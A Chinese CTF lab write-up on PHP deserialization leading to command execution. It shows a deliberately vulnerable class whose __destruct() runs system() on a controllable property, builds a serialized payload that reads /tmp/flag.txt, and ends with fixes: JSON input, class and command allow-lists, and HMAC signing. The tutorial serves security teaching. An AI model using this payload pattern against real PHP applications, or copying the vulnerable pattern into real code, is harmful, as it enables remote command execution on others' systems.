【好靶场】PHP反序列化入门练习2
-
- 前置知识
-
- [1. PHP 魔术方法 `__destruct()`](#1. PHP 魔术方法
__destruct()) - [2. 序列化基础标识回顾](#2. 序列化基础标识回顾)
- [3. public 属性序列化规则](#3. public 属性序列化规则)
- [1. PHP 魔术方法 `__destruct()`](#1. PHP 魔术方法
- 一、题目源码与解题思路
- 二、完整Payload构造代码
- 三、Payload逐段格式分析
- 四、提交Payload获取Flag
- 五、漏洞考点
- 六、漏洞修复与源码整改
- 总结
本文仅用于授权靶场、CTF 练习和本地安全学习,禁止用于未授权测试。
前置知识
学习本题前,需要掌握 PHP 魔术方法与反序列化命令执行相关基础。
1. PHP 魔术方法 __destruct()
__destruct() 是PHP的析构魔术方法:当对象销毁时(脚本执行结束、对象被回收)会自动调用 。
如果这个方法内部使用了危险函数(system() / exec() 等)执行对象可控的属性,攻击者就可以通过构造反序列化字符串,传入恶意命令实现命令执行。
2. 序列化基础标识回顾
O:Object 对象;格式O:类名长度:"类名":属性数量:{属性键值对}s:String 字符串;格式s:字节长度:"字符串内容">
⚠️ 重点:字符串声明长度必须和实际字节严格一致,否则反序列化失败
3. public 属性序列化规则
public 公有属性序列化直接写属性原始名称,无需额外不可见字符,构造Payload更简单。
示例:
class Demo{
public $cmd = "echo test";
}
序列化结果:O:4:"Demo":1:{s:3:"cmd";s:9:"echo test";}
一、题目源码与解题思路
靶场给出源码:
<?php
class ExecCmd {
public $cmd = "echo 'test'";
public function __destruct() {
system($this->cmd);
}
}
?>
靶场功能:接收用户提交的序列化字符串,调用unserialize()还原对象,脚本结束自动触发__destruct(),执行system()运行$cmd内的系统命令。
挑战目标:读取 /tmp/flag.txt 获取 flag。


解题流程:
找到 ExecCmd 类
↓
修改公有属性 $cmd 的值为 cat /tmp/flag.txt
↓
使用 serialize() 生成恶意序列化Payload
↓
提交序列化字符串到靶场
↓
unserialize 还原对象 → 脚本结束触发 __destruct()
↓
system() 执行 cat /tmp/flag.txt,输出flag
二、完整Payload构造代码
php
<?php
class ExecCmd {
public $cmd = "echo 'test'";
public function __destruct() {
system($this->cmd);
}
}
// 实例化对象
$obj = new ExecCmd();
// 覆盖cmd属性为读取flag的命令
$obj->cmd = "cat /tmp/flag.txt";
// 生成序列化payload
$payload = serialize($obj);
echo $payload;
// 本地验证反序列化
$unser_obj = unserialize($payload);
?>
运行输出Payload:
O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}
三、Payload逐段格式分析
Payload:O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}
| 片段 | 含义 |
|---|---|
O:7:"ExecCmd" |
对象,类名ExecCmd共7个字符 |
1 |
对象包含 1 个属性 |
s:3:"cmd" |
属性名cmd,字符串长度3 |
s:17:"cat /tmp/flag.txt" |
属性值命令cat /tmp/flag.txt,总字节长度17 |
易错点:
命令
cat /tmp/flag.txt字符计数:
c a t / t m p / f l a g . t x t一共 17 个字节如果长度写错(比如写成
s:16),反序列化直接返回false,命令不会执行。
四、提交Payload获取Flag
将生成的序列化字符串填入靶场【序列化字符串】输入框提交:
O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}
靶场执行流程:
- 接收用户传入序列化字符串
unserialize()还原得到ExecCmd对象,$cmd = "cat /tmp/flag.txt"- 页面加载完毕,PHP回收对象,自动执行
__destruct() system($this->cmd)执行读取文件命令,返回flag

flag{5eff7b83b9d345269574eb136e9fa1b4}
五、漏洞考点
本题属于 PHP反序列化魔术方法触发命令执行 基础题型,考点:
- 理解析构魔术方法
__destruct()的自动触发时机 - 可控序列化数据 → 篡改对象公有属性
- 危险函数
system()配合可控参数造成远程命令执行(RCE) - 严格遵守序列化字符串长度规则
和上一篇练习对比区别:
- 练习1:仅篡改属性做业务判断,无代码执行风险
- 练习2:篡改属性后触发魔术方法+危险函数,直接命令执行,危害更大
六、漏洞修复与源码整改
漏洞成因:外部可控序列化数据直接传入unserialize(),类内析构方法存在危险系统调用,攻击者可控制传入命令。
修复方案1:禁止直接使用unserialize接收外部用户输入(最优)
业务数据优先使用 JSON / XML 传输,JSON不会自动实例化对象,不存在魔术方法自动触发风险。
php
// 改用json传输参数,不使用unserialize
$input = $_GET['data'] ?? '';
$data = json_decode($input,true);
$cmd = $data['cmd'] ?? '';
// 命令做严格白名单过滤,不允许任意系统命令
$allow_cmd = ['ls','whoami'];
if(!in_array($cmd,$allow_cmd)){
exit("非法命令");
}
system($cmd);
修复方案2:必须使用序列化时,限制类+参数校验
php
<?php
class ExecCmd {
public $cmd = "echo 'test'";
public function __destruct() {
// 增加命令白名单,禁止任意命令执行
$safe_cmd = ["echo 'test'"];
if(in_array($this->cmd,$safe_cmd)){
system($this->cmd);
}
}
}
$ser_data = $_GET['data'] ?? '';
// 限制允许反序列化的类
$obj = unserialize($ser_data,[
'allowed_classes' => ['ExecCmd']
]);
// 二次校验属性值,禁止用户可控自定义命令
if($obj instanceof ExecCmd && $obj->cmd !== "echo 'test'"){
exit("非法参数");
}
?>
修复方案3:序列化数据增加HMAC签名防篡改
序列化前由服务端生成密钥签名,传输时携带签名,反序列化前先验签,一旦Payload被篡改直接拦截,从源头阻止Payload修改。
php
<?php
$secret_key = "server_secure_key_2026";
$ser_data = $_GET['data'] ?? '';
$sign = $_GET['sign'] ?? '';
$expect_sign = hash_hmac("sha256",$ser_data,$secret_key);
if(!hash_equals($expect_sign,$sign)){
exit("数据被篡改,拒绝请求");
}
$obj = unserialize($ser_data,['allowed_classes' => ['ExecCmd']]);
?>
修复建议总结
- 尽量避免将用户可控数据传入
unserialize(); - 若业务强制使用序列化:配置
allowed_classes做类白名单; - 所有执行系统命令的函数,必须做命令白名单,绝对不能直接使用用户传入字符串;
- 序列化数据增加 HMAC 完整性校验,防止篡改;
- 禁用危险函数:php.ini 中可通过
disable_functions禁用system、exec、shell_exec等命令执行函数。
总结
本题完整利用链路:
可控序列化字符串 → unserialize 构造恶意对象 → 对象销毁触发 __destruct() → system 执行恶意命令 → 文件读取
Payload核心:
O:7:"ExecCmd":1:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}
这道题是PHP反序列化RCE最基础的原型,后续复杂POP链漏洞,本质都是寻找可以自动触发的魔术方法+可控参数+危险函数,和本题原理一致。